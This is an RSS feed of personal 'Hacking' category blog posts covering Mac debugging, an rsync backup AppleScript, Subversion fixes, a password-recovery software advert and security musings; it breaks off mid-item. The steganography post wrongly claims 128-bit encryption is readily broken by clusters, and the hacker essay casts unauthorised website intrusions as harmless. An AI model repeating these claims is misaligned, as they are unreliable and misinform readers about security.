<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
		xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title>Pragmatic Revelations &#187; Hacking</title>
	<atom:link href="http://adrianhoe.com/adrianhoe/category/call-me-a-geek/hacking/feed/" rel="self" type="application/rss+xml" />
	<link>http://adrianhoe.com/adrianhoe</link>
	<description>The Eccentric Logic of An Eclectic Mind</description>
	<lastBuildDate>Sun, 06 May 2012 15:21:31 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
	<copyright>Copyright &#xA9; Pragmatic Revelations 2011 </copyright>
	<managingEditor>mailbox@adrianhoe.com (Pragmatic Revelations)</managingEditor>
	<webMaster>mailbox@adrianhoe.com (Pragmatic Revelations)</webMaster>
	<ttl>28000</ttl>
	<image>
		<url>http://adrianhoe.com/adrianhoe/blog/wp-content/plugins/podpress/images/powered_by_podpress.jpg</url>
		<title>Pragmatic Revelations</title>
		<link>http://adrianhoe.com/adrianhoe</link>
		<width>144</width>
		<height>144</height>
	</image>
	<itunes:subtitle></itunes:subtitle>
	<itunes:summary>The Eccentric Logic of An Eclectic Mind</itunes:summary>
	<itunes:keywords></itunes:keywords>
	<itunes:category text="Society &#38; Culture" />
	<itunes:author>Pragmatic Revelations</itunes:author>
	<itunes:owner>
		<itunes:name>Pragmatic Revelations</itunes:name>
		<itunes:email>mailbox@adrianhoe.com</itunes:email>
	</itunes:owner>
	<itunes:block>no</itunes:block>
	<itunes:explicit>no</itunes:explicit>
	<itunes:image href="http://adrianhoe.com/adrianhoe/blog/wp-content/plugins/podpress/images/powered_by_podpress_large.jpg" />
		<item>
		<title>Catching HTML bugs with Safari 5</title>
		<link>http://adrianhoe.com/adrianhoe/2010/07/08/catching-html-bugs-with-safari-5/</link>
		<comments>http://adrianhoe.com/adrianhoe/2010/07/08/catching-html-bugs-with-safari-5/#comments</comments>
		<pubDate>Thu, 08 Jul 2010 00:45:28 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[At Work]]></category>
		<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Safari]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=2185</guid>
		<description><![CDATA[A bug in a seemingly harmless HTML code had been bugging me for almost 2 weeks. I was sort of yanking my hair while trying to trace the bug which messed up the HTML page. The debugging task was even harder because I work on a HTML template with an extension .THTML. The template does [...]]]></description>
			<content:encoded><![CDATA[<p>A bug in a seemingly harmless HTML code had been bugging me for almost 2 weeks. I was sort of yanking my hair while trying to trace the bug which messed up the HTML page. The debugging task was even harder because I work on a HTML template with an extension <strong>.THTML</strong>. The template does not only contain standard HTML but also tags which are only recognized by AWS (Ada Web Server) . This template file is parsed by the web application (I am developing), which has AWS library, before it is dispatched as raw HTML code to a browser.</p>
<p>In my design, I break down the HTML template into header, body and footer so that I can reuse the common codes in header and footer. That means, all the body templates are without <span style="font-family: Courier;">&lt;html&gt;</span> tag. This missing <span style="font-family: Courier;">&lt;html&gt;</span> tag disables the syntax-coloring feature of code editor, leading to a more laborious code reading.</p>
<p>Before this, I had gone through every line of html source code in the template file umpteen times. This &#8220;obscure&#8221; bug, if not removed, would throw a monkey wrench in my works. I browsed the Internet and read articles in hope that I would get some clues. So, I was reading a few articles about Extensions in Safari 5. Extensions are not really impressive to me as I do not need to add missing functionalities to my browser. Safari itself is more than enough for my daily browsing activities. Somehow, my curiosity had driven me to enable the <strong>Develop</strong> menu in Safari 5. After activating it, I noticed some debugging tools in the menu. I enabled the web inspector by selecting <strong>Show Web Inspector</strong> in the <strong>Develop</strong> menu (Figure 1) then navigated to the web page I wanted to debug. To use these debugging tools, the <strong>Develop</strong> menu must first be activated. <a href="http://adrianhoe.com/adrianhoe/2010/07/07/enable-develop-menu-in-safari-5/" target="_blank">Here</a> is a simple guide to enabling the menu.</p>
<div class="wp-caption aligncenter" style="width: 410px"><img title="Safari 5" src="http://adrianhoe.com/adrianhoe/images/blog/2010/safari-menu.png" alt="Safari 5" width="400" height="214" /><p class="wp-caption-text">Figure 1</p></div>
<p>Safari 5 immediately detected two error messages as shown in Figure 2. These two errors were easily corrected. After removing these unmatched <span style="font-family: Courier;">&lt;/div&gt;</span> tags, my web page still did not show up properly with the intended layout.</p>
<div class="wp-caption alignnone" style="width: 510px"><img title="Safari 5 Show Web Inspector" src="http://adrianhoe.com/adrianhoe/images/blog/2010/safari-web-inspect1.png" alt="Safari 5 Show Web Inspector" width="500" height="215" /><p class="wp-caption-text">Figure 2</p></div>
<p>Then I selected the <strong>Elements</strong> tab and it showed me the page source in debugging mode as shown in Figure 3. I instantly spotted the <span style="font-family: Courier;">&lt;div class=&#8221;data-base-layer&#8221;&gt;</span> tag which was supposed to be in the <span style="font-family: Courier;">&lt;div id=&#8221;container&#8221;&gt;</span> tag.</p>
<div class="wp-caption alignnone" style="width: 510px"><img title="Safari 5 Show Web Inspector" src="http://adrianhoe.com/adrianhoe/images/blog/2010/safari-web-inspect2.png" alt="Safari 5 Show Web Inspector" width="500" height="182" /><p class="wp-caption-text">Figure 3</p></div>
<p>I clicked on the little grey triangles in the left pane to expand the <span style="font-family: Courier;">&lt;div id=&#8221;container&#8221;&gt;</span> tag and the <span style="font-family: Courier;">&lt;form&gt;</span> tag. There were two <span style="font-family: Courier;">&lt;div class=&#8221;data-base-layer&#8221;&gt;</span> tags (labelled as &#8220;1&#8243; in Figure 4) and the one in label &#8220;2&#8243; was supposed to be right after them.</p>
<div class="wp-caption alignnone" style="width: 510px"><img title="Safari 5 Show Web Inspector" src="http://adrianhoe.com/adrianhoe/images/blog/2010/safari-web-inspect3.png" alt="Safari 5 Show Web Inspector" width="500" height="225" /><p class="wp-caption-text">Figure 4</p></div>
<p>I checked the source file again and they seemed to be in the correct place. Further investigation finally reviewed that there were two very tiny typos lurking somewhere within the second <span style="font-family: Courier;">&lt;div class=&#8221;data-base-layer&#8221;&gt;</span> tag as shown in Figure 5.</p>
<div class="wp-caption alignnone" style="width: 510px"><img title="Safari 5 Show Web Inspector" src="http://adrianhoe.com/adrianhoe/images/blog/2010/safari-web-inspect4.png" alt="Safari 5 Show Web Inspector" width="500" height="343" /><p class="wp-caption-text">Figure 5</p></div>
<p>The web inspector in Safari 5 has helped me to identify errors effortlessly. If only I had such inquisitiveness two weeks ago, I would have saved so much time and efforts in debugging my HTML codes. An proverb says: &#8220;Curiosity killed the cat.&#8221; It is not always true, at least in this case. I will say: &#8220;Curiosity saved the donkey.&#8221;</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2010/07/08/catching-html-bugs-with-safari-5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Backup your Mac with AppleScript</title>
		<link>http://adrianhoe.com/adrianhoe/2009/04/17/backup-your-mac-with-applescript/</link>
		<comments>http://adrianhoe.com/adrianhoe/2009/04/17/backup-your-mac-with-applescript/#comments</comments>
		<pubDate>Fri, 17 Apr 2009 15:45:50 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[AppleScript]]></category>
		<category><![CDATA[At Home]]></category>
		<category><![CDATA[At Work]]></category>
		<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[rsync]]></category>
		<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=1688</guid>
		<description><![CDATA[All programmers are lazy. They want to automate tasks as much as they can. Because of this uniquely great habit, they have developed countless of useful software. Ok. I am lazy. I have been using rsync to sync folders I am working on between my Macs. I have been using command line scripts in Terminal for [...]]]></description>
			<content:encoded><![CDATA[<p>All programmers are lazy. They want to automate tasks as much as they can. Because of this uniquely great habit, they have developed countless of useful software.</p>
<p>Ok. I am lazy. I have been using <span style="font-family:Courier;">rsync</span> to sync folders I am working on between my Macs. I have been using command line scripts in Terminal for almost two years and finally I have gotten lazy over the task.</p>
<p>The thing is, I need to execute the scripts in Terminal every time I want to synch my folders. Of course, I could simply use <span style="font-family:Courier;">cron</span> to automate the tasks at specific time but I ran the risk to cause havoc between the folders on different Macs. It is best not to <span style="font-family:Courier;">cron</span> the task.</p>
<p>So, I learned up AppleScript and after a ten-minute hack, I wrote a nice AppleScripts to do the job. It is quick and dirty.</p>
<pre><code>set debug to false

with timeout of (30 * 60) seconds
	tell application "Terminal"
		set Window_Title to "Sync Documents"
		set Rsync_Cmd to "rsync -acrtv --delete
			/Users/username/Documents/
			username@xxx:Documents"
		set output_doc to do shell script Rsync_Cmd
		choose from list paragraphs of output_doc with prompt
			"Result:" with title Window_Title with empty
			selection allowed
	end tell
end timeout
</code></pre>
<p>Copy the script to <span style="font-family:Courier;">~/Library/Scripts/Applications/Finder</span> and save it as &#8220;sync documents.scpt&#8221;. Then launch Script Editor to edit <span style="font-family:Courier;">username</span> to your login name and <span style="font-family:Courier;">xxx</span> to your Mac IP address or computer name. This script will sync your Documents folder under your user home directory. To execute this AppleScript, at Finder, click on the script icon on the menu bar and select the script to launch.</p>
<p><span style="font-family:Courier;">rsync</span> uses <span style="font-family:Courier;">ssh</span>. If you have not setup a password-less ssh login, you will need <span style="font-family:Courier;">ssh-askpass</span> in <span style="font-family:Courier;">/usr/libexec</span>. Unfortunately, it does not ship with Mac OS X. You can <a href="http://blogs.sun.com/mock/entry/and_now_chicken_of_the" target="_blank">get it</a> at Joe Mocker&#8217;s weblog.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2009/04/17/backup-your-mac-with-applescript/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>The new WordPress</title>
		<link>http://adrianhoe.com/adrianhoe/2009/03/05/the-new-wordpress/</link>
		<comments>http://adrianhoe.com/adrianhoe/2009/03/05/the-new-wordpress/#comments</comments>
		<pubDate>Thu, 05 Mar 2009 03:55:04 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[malicious]]></category>
		<category><![CDATA[malware]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=1526</guid>
		<description><![CDATA[Just finished upgrading WordPress to 2.7.1 with a totally new user interface. I still prefer the one in 2.6.x so I guess I need a little time to get use to the new UI. The upgrade is inevitable because some of my sites were affected by Yahoo! Counter  malicious malware. It is a nasty injection [...]]]></description>
			<content:encoded><![CDATA[<p>Just finished upgrading WordPress to 2.7.1 with a totally new user interface. I still prefer the one in 2.6.x so I guess I need a little time to get use to the new UI.</p>
<p>The upgrade is inevitable because some of my sites were affected by Yahoo! Counter  malicious malware. It is a nasty injection of script. I could not locate where it was injected and my web host wasn&#8217;t very helpful. I decided to upgrade, hopefully, to wipe out the code injection.</p>
<p>Now, I have to file a request to Google to clear the malware listing of my sites.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2009/03/05/the-new-wordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A good head start</title>
		<link>http://adrianhoe.com/adrianhoe/2009/01/01/a-good-head-start/</link>
		<comments>http://adrianhoe.com/adrianhoe/2009/01/01/a-good-head-start/#comments</comments>
		<pubDate>Thu, 01 Jan 2009 15:46:31 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[At Home]]></category>
		<category><![CDATA[At Work]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Holidays]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[iPod Touch]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=1397</guid>
		<description><![CDATA[Happy New Year 2009 buddies! It seems like a good head start for me. Everything I planned for today seems to be smooth sailing although I am having one problem which I do not know why it happens. I guess I will need to toy with it and/or hack it to learn why it isn&#8217;t [...]]]></description>
			<content:encoded><![CDATA[<p>Happy New Year 2009 buddies!</p>
<p>It seems like a good head start for me. Everything I planned for today seems to be smooth sailing although I am having one problem which I do not know why it happens. I guess I will need to toy with it and/or hack it to learn why it isn&#8217;t behaving as it supposed to be. If everything is running perfect before end of this month, I will acquire an iPod Touch to proceed further. This will be my first wish on this very first day of 2009.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2009/01/01/a-good-head-start/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Finder hang in Leopard</title>
		<link>http://adrianhoe.com/adrianhoe/2008/10/23/finder-hang-in-leopard/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/10/23/finder-hang-in-leopard/#comments</comments>
		<pubDate>Thu, 23 Oct 2008 13:49:37 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[DivX]]></category>
		<category><![CDATA[Finder]]></category>
		<category><![CDATA[Leopard]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=1269</guid>
		<description><![CDATA[When I returned home this evening, LA told me her applications had hung. I checked and found not only that, the Finder was not responsive too. I had no choice but to power off and to restart the Mac Mini again. This had also affected my user account. The Finder had failed to launch after [...]]]></description>
			<content:encoded><![CDATA[<p>When I returned home this evening, LA told me her applications had hung. I checked and found not only that, the Finder was not responsive too. I had no choice but to power off and to restart the Mac Mini again. This had also affected my user account. The Finder had failed to launch after login and the Dock did not appear as well. But fortunately root user account was not badly affected.</p>
<p>I Googled and found some articles and solutions <a href="http://discussions.apple.com/thread.jspa?threadID=1197076&amp;tstart=0" target="_blank">here</a>, <a href="http://www.lildude.co.uk/finder-hang-after-leopard-upgrade/" target="_blank">here</a> and <a href="http://support.apple.com/kb/TS1545?viewlocale=en_US" target="_blank">here</a>. I exhausted all the methods and I did not have DivXNetworks and ApplicationEnhancer.bundle in the directories mentioned in these links. I decided to go my own way.</p>
<p>What I did was to delete everything that was related to DivX. Since I did not have DivXNetworks, so I removed DivX folders in &#8220;/Library/Application Support&#8221; and &#8220;~/Library/Application Support&#8221; and also the DivX programs in Applications.</p>
<p>After the deletion, Finder still could not launch properly. I launched Console.app to examine system logs and found some errors in cache files com.apple.LaunchedServices*. I removed everything with com.apple.LaunchedServices in /Library/Caches.</p>
<p>Viola! Everything is back to normal again. DivX is a third party enhancement software and is not very stable. It seems like DivX has messed up with the system caches and somehow prevented Finder to launch.</p>
<p>I have spent two and half hours mingling with this problem. I hope my experience will save some of your time if you have the same problem as mine. I am going to take my supper.</p>
<p>Good luck!</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/10/23/finder-hang-in-leopard/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Subversion client hangs after post-commit</title>
		<link>http://adrianhoe.com/adrianhoe/2008/06/09/subversion-client-hangs-after-post-commit/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/06/09/subversion-client-hangs-after-post-commit/#comments</comments>
		<pubDate>Mon, 09 Jun 2008 08:29:52 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[SCM]]></category>
		<category><![CDATA[Exim]]></category>
		<category><![CDATA[sendmail]]></category>
		<category><![CDATA[Subversion]]></category>
		<category><![CDATA[svn]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=749</guid>
		<description><![CDATA[I had been hit by this problem since I setup Subversion on Ubuntu in January. The svnserve was properly invoked on Ubuntu server but whenever any svn client was trying to commit something back to the server, the client would hang for hours before it prompted an error: &#8220;Connection reset by peers.&#8221; I searched all [...]]]></description>
			<content:encoded><![CDATA[<p>I had been hit by this problem since I setup Subversion on Ubuntu in <a href="http://adrianhoe.com/adrianhoe/2008/01/22/svn-setup/" target="_blank">January</a>. The <em>svnserve</em> was properly invoked on Ubuntu server but whenever any svn client was trying to commit something back to the server, the client would hang for hours before it prompted an error: &#8220;Connection reset by peers.&#8221;</p>
<p>I searched all the Subversion and Ubuntu forums but could not find any solution to my problem. In the past months, I tried to identify the source of the problem and even tried many solutions suggested by people on these forums but the problem persisted. I had been committing to svn server with post commit email notification turned off and lost quite a number of post commit message. I used to keep track of changes by these email notification.</p>
<p>Yesterdat, I was trying my luck again and I accidentally noticed <em>sendmail</em> and <em>sendmail-mta</em> were called after commit. A look into syslog confirmed that sendmail process was put into sleep by some unknown reason. Failing to identify the cause, I removed sendmail and related packages from my Ubuntu server and installed <em>Exim4</em>. It is claimed to be easier to installed and configured than sendmail. The problem diminished after I got exim4 up and running. Now I am able to receive post commit email notification after every svn commit. Every commit takes a few seconds to complete after this. Problem resolved.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/06/09/subversion-client-hangs-after-post-commit/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Hacker and Cracker</title>
		<link>http://adrianhoe.com/adrianhoe/2008/05/21/hacker-and-cracker/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/05/21/hacker-and-cracker/#comments</comments>
		<pubDate>Wed, 21 May 2008 08:57:08 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=725</guid>
		<description><![CDATA[I received an email from my sister, M. In her email, she pointed out I should not label myself as &#8220;hacker&#8221;. Well, I could not agree to her opinion so I decided to write this post entry to clear the name for all hackers. Many people have watched too much Hollywood movies and have developed [...]]]></description>
			<content:encoded><![CDATA[<p>I received an email from my sister, M. In her email, she pointed out I should not label myself as &#8220;hacker&#8221;. Well, I could not agree to her opinion so I decided to write this post entry to clear the name for all hackers.</p>
<p>Many people have watched too much Hollywood movies and have developed a perception that hackers are bad guys. They do not understand, nor can distinguish the difference between <em>Hacker</em> and <em>Cracker</em>.</p>
<p>Very well, Hacker and Cracker are like Good Sorcerer and Bad Sorcerer. Hackers are generally referring to a group of programmers or software engineers who dwell into codes of a computer system to find faults or loop holes so that the functionality, usually, security of the computer system can be improved. Hackers are also contributing to many open source device drivers to be used in open source software such as Linux. They study how a device communicates with a computer system without any documentation from the manufacturer (sometimes, some device manufacturers are reluctant to release technical information fearing their competitors may steal their secrets) and write codes to allow the device to communicate with the operating system.</p>
<p>Some hackers visit websites to look for security loop holes and put a file there to indicate their successful hack. Usually, they cause no disruption or damage but to alert system administrator of such security vulnerabilities. One of my website was hacked by hacker from Turkey last week. No damage or disruption caused but simply alerted me of security vulnerability. I quickly corrected the security flaw.</p>
<p>Hackers also study computer codes (binary or source) to learn about a computer software system so to rebuild another similar computer software system for the interest of know-how or to improve the software system. Instead of hacking, reverse engineering best described this type of activity.</p>
<p>Crackers, on the other hand, have the intention to harm or steal. They look for security vulnerabilities to get access into your computer system to cause disruption or steal your information for illicit purposes. Their ultimate goal is to cause damage or to gain something from you to be used for illicit activities, such as stealing your financial accounts or credit cards data for their financial gain.</p>
<p>There are many hacker organizations, for instance, <a href="http://blackhat.com" target="_blank">BlackHat</a>. It holds many international technical conferences and training around the world to improve information security.</p>
<p>Laypersons who do not understand the meaning of hacker generally think hacker is a bad guy. Being a hacker myself (sometimes), I just want to clear the name for hackers. And to show the good nature of a hacker, please read <a href="http://adrianhoe.com/adrianhoe/2006/10/21/wireless-email-security-compromised/" target="_blank">here</a> and <a href="http://adrianhoe.com/2006/10/22/secure-wireless-email-on-mac-os-x/" target="_blank">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/05/21/hacker-and-cracker/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>IP Flooding</title>
		<link>http://adrianhoe.com/adrianhoe/2008/01/22/ip-flooding/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/01/22/ip-flooding/#comments</comments>
		<pubDate>Tue, 22 Jan 2008 06:17:46 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[At Home]]></category>
		<category><![CDATA[At Work]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2008/01/22/ip-flooding/</guid>
		<description><![CDATA[I am experiencing IP flooding on my router. It notifies me by email about this attack. Right now, I have identified the source and hopefully I can nail this attacker soon. This is not the first time I experience IP flooding. I have received quite many email notifications in the past 3 weeks but I [...]]]></description>
			<content:encoded><![CDATA[<p>I am experiencing IP flooding on my router. It notifies me by email about this attack. Right now, I have identified the source and hopefully I can nail this attacker soon. This is not the first time I experience IP flooding. I have received quite many email notifications in the past 3 weeks but I was out. It is coincident that I am still at my computers solving some server problems.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/01/22/ip-flooding/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SVN setup</title>
		<link>http://adrianhoe.com/adrianhoe/2008/01/22/svn-setup/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/01/22/svn-setup/#comments</comments>
		<pubDate>Tue, 22 Jan 2008 03:53:16 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[At Home]]></category>
		<category><![CDATA[At Work]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[SCM]]></category>
		<category><![CDATA[Subversion]]></category>
		<category><![CDATA[svn]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2008/01/22/svn-setup/</guid>
		<description><![CDATA[I&#8217;ve finally found time to setup svn at my home net after so many months. My svn server was down when my previous Linux box was down with a dead hard disk last year. The setup was quite a brisk. I had everything installed and configured last night. The test for remote access using a [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve finally found time to setup svn at my home net after so many months. My svn server was down when my previous Linux box was down with a dead hard disk last year. The setup was quite a brisk. I had everything installed and configured last night. The test for remote access using a url was successful. I could import, checkout and check in. Because it was already late, about 1AM, I felt rather tire and went to bed.</p>
<p>This morning, I hacked some codes to provide a rather informative post commit email notification. All are done except the check in will stall. It takes a long time (and possibly hang!). I have yet to fully test before I begin my development project again.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/01/22/svn-setup/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Lost your password?</title>
		<link>http://adrianhoe.com/adrianhoe/2008/01/08/lost-your-password/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/01/08/lost-your-password/#comments</comments>
		<pubDate>Tue, 08 Jan 2008 15:39:12 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[Social]]></category>
		<category><![CDATA[Access]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[Excel]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[Word]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2008/01/08/lost-your-password/</guid>
		<description><![CDATA[There goes year-end and you need to prepare your new year budget. You retrieve an Excel budgeting file to work on. You have not been touching this file for a year and you encounter problem. You can&#8217;t remember the password to unlock the Excel file. You can&#8217;t recall where you have written down the password [...]]]></description>
			<content:encoded><![CDATA[<p>There goes year-end and you need to prepare your new year budget. You retrieve an Excel budgeting file to work on. You have not been touching this file for a year and you encounter problem. You can&#8217;t remember the password to unlock the Excel file. You can&#8217;t recall where you have written down the password either. You need to do the budgeting for first review in the board meeting tomorrow. What should you do?</p>
<p>You need a <a href="http://www.password-studio.com/" target="_blank">Excel password recovery</a> software. It is an easy to use software to unlock the password for Microsoft Word, Excel and Access. <a href="http://www.password-studio.com/" target="_blank">Password-Studio Pro</a> cracks the password from instantly to within minutes. It uses <em>Smart Dictionary</em> and <em>Bruteforce</em> hacking methods. With <em>Smart Dictionary</em>, it checks through 5.8 million common password combinations in a matter of minutes.</p>
<p><a href="http://www.password-studio.com/" target="_blank">Password-Studio Pro</a> cracks your password as easy as 1-2-3. First, start the wizard. Second, select an attacking method. Third, reap your rewards.<img src="http://tinyurl.com/2cutwq" /></p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/01/08/lost-your-password/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Steganography and Information Security</title>
		<link>http://adrianhoe.com/adrianhoe/2007/12/11/steganography-and-information-security/</link>
		<comments>http://adrianhoe.com/adrianhoe/2007/12/11/steganography-and-information-security/#comments</comments>
		<pubDate>Tue, 11 Dec 2007 10:19:02 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Information Forensics]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[beowulf]]></category>
		<category><![CDATA[data]]></category>
		<category><![CDATA[encryption]]></category>
		<category><![CDATA[information]]></category>
		<category><![CDATA[isp]]></category>
		<category><![CDATA[post 25]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[smtp]]></category>
		<category><![CDATA[steganography]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2007/12/11/steganography-and-information-security/</guid>
		<description><![CDATA[One of the major threats in this information age is the exposure of sensitive information in the Internet. The most common method of securing information is through encryption technology. Today, 128-bit technology is the commonly used encryption method in emails and documents. Recent upheaval as my ISP closing down port 25 for SMTP (Simple Mail [...]]]></description>
			<content:encoded><![CDATA[<p>One of the major threats in this information age is the exposure of sensitive information in the Internet. The most common method of securing information is through encryption technology. Today, 128-bit technology is the commonly used encryption method in emails and documents. Recent upheaval as my ISP closing down port 25 for SMTP (Simple Mail Transfer Protocol) has rung an alarm to my computing needs on the Internet. My ISP&#8217;s decision is to curb spammers who have abused direct SMTP access to email servers. The act is a foolish one as this will not stop spams but at the same time, it affects those genuine users.</p>
<p>A 128-bit encryption can be broken into with cluster computer. A cluster computer consists of computers, called nodes, with one or more CPU. These computers are connected to a network. A special program capable of distributing calculation tasks to all the nodes is needed. This architecture is called Beowulf. Breaking a 128-bit encryption is just a matter of time depending on the number of nodes and the number of CPUs on each node.</p>
<p>My ISP forces all direct SMTP connection to be routed to an unsecured proxy server. As an emergency contingency to my Internet use, I quickly setup encryption for my email client. So far, the closing of port 25 has not affected me.</p>
<p>As I have the need to send sensitive work information across the Net, I feel the encryption is not enough on  a unsecured proxy server. I would elevate the level of information security by using steganography together with encryption.</p>
<p>Steganography is a technique to embed information to a digital photo or picture without altering the photo or picture at eye level. The technique uses advanced algorithm to manipulate bits of data in the digital image with the bits from the information I am going to send. To extract the information from the encrypted digital image, an original image is the key. Only my intended recipient has an original copy of the digital image.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2007/12/11/steganography-and-information-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Information Forensics</title>
		<link>http://adrianhoe.com/adrianhoe/2007/12/11/information-forensics/</link>
		<comments>http://adrianhoe.com/adrianhoe/2007/12/11/information-forensics/#comments</comments>
		<pubDate>Tue, 11 Dec 2007 03:19:52 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Information Forensics]]></category>
